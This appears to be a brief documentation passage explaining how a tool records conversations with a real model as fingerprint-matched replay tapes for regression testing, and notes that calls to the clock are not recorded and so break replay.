```

 This turns a conversation with a real model into a regression test. The examples that talk to
Claude are tested this way, and the playground replays the same tapes. A model response is matched
by a fingerprint of the request that produced it, so if you change a prompt, a tool or a schema,
the replay stops and tells you to record again. It does not answer with a stale response.

**Not recorded:** the clock. A program whose prompts include
`now()` will not replay.
